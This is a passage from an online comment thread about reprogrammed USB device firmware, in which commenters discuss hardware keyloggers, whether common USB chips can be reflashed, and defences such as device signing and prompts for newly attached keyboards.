    I have seen ps2 keystroke loggers and USB keystroke+screenshot loggers for years on sale in 'spyshops'. I mean this has been around for ages. Plug in an adapter in between the keyboard and pc on a IT admin and who cares about hacks or virusses, you simply log on.

    Or buy off the admin....

    Not that i am into this business but arent the people still the weakest link in any security chain?

    IMHO there will always be technological exploits so the focus should be how to handle the fact that you ARE exploited in some way. Throwing up barriers, switching personel (in function), limiting physical acces or monitor people when working on vulnerable systems. Or be a Nice company / institution so you make yourself less of a target.

    Just some thoughts:)

  102. Re:ftdi, Atmel are VERY common in devices. I did i by janoc · · Score: 1

    Nope. While these chips are common both are way too expensive for mass-produced hardware. Practically every microcontroller has a version with USB interface today and most of mass produced gear doesn't use these - an FTDI bridge is around $1/pop at quantity, that's crazy for an $20-40 end-user price item.

    Anyhow, FTDI chips cannot be reprogrammed - you can modify their settings, but the are only an UART/I2C/SPI-to-USB bridge, they don't do anything by themselves. And that something uses e.g. an Atmel AVR chip (actually really rare, they are very expensive for the capabilities they have) doesn't mean that the programming pins are *actually hooked up* to something that is USB-accessible. Some may have the DFU bootloader, but typically they would have the firmware locked. You are way more likely to find various ARM micros and cheap Chinese clones of MCS'51 series these days, but again, that the chip is programmable doesn't mean it could be reprogrammed by the host system!

  103. Re:USB 4.x to offer signed USB device signatures?? by Anonymous Coward · · Score: 0

    What they are talking about is USB devices that contain multiple interfaces, eg. a USB mass storage device that also contains a HID interface. The only new thing is that they reprogrammed the firmware of commercial devices. An operating system could well refuse to load the drivers for a HID device that was connected after boot, unless the user granted permissions.

  104. Re:USB 4.x to offer signed USB device signatures?? by Burz · · Score: 1

    Then the criminals will figure out how to falsify the signature with the bad firmware anyway.

    Not if the user/admin gets to sign the devices (e.g. when they are initially purchased). Or... why not design the devices to carry multiple signatures (including but not limited to the manufacturer)??

  105. Re:USB 4.x to offer signed USB device signatures?? by jakimfett · · Score: 2

    I eat Cheetos, you insensitive clod!

    --
    Bits of code, random ramblings: jakimfett.com
  106. Re:USB 4.x to offer signed USB device signatures?? by sjames · · Score: 1

    If it's your first keyboard it should give you a countdown. "You have plugged in a keyboard devioce. If that's not what you want, unplug in 5 seconds. 4...3....2....1"

  107. Re:ftdi, Atmel are VERY common in devices. I did i by Anonymous Coward · · Score: 0

    And, bonus! The user then tries the device in several other computers in an attempt to troubleshoot, spreading the infection!

  108. Re:USB 4.x to offer signed USB device signatures?? by Richy_T · · Score: 1

    If they are able to rewrite the firmware, they should already have some kind of priviledged access

  109. Re:USB 4.x to offer signed USB device signatures?? by badkarmadayaccount · · Score: 1

    Right click should work

    --
    I know tobacco is bad for you, so I smoke weed with crack.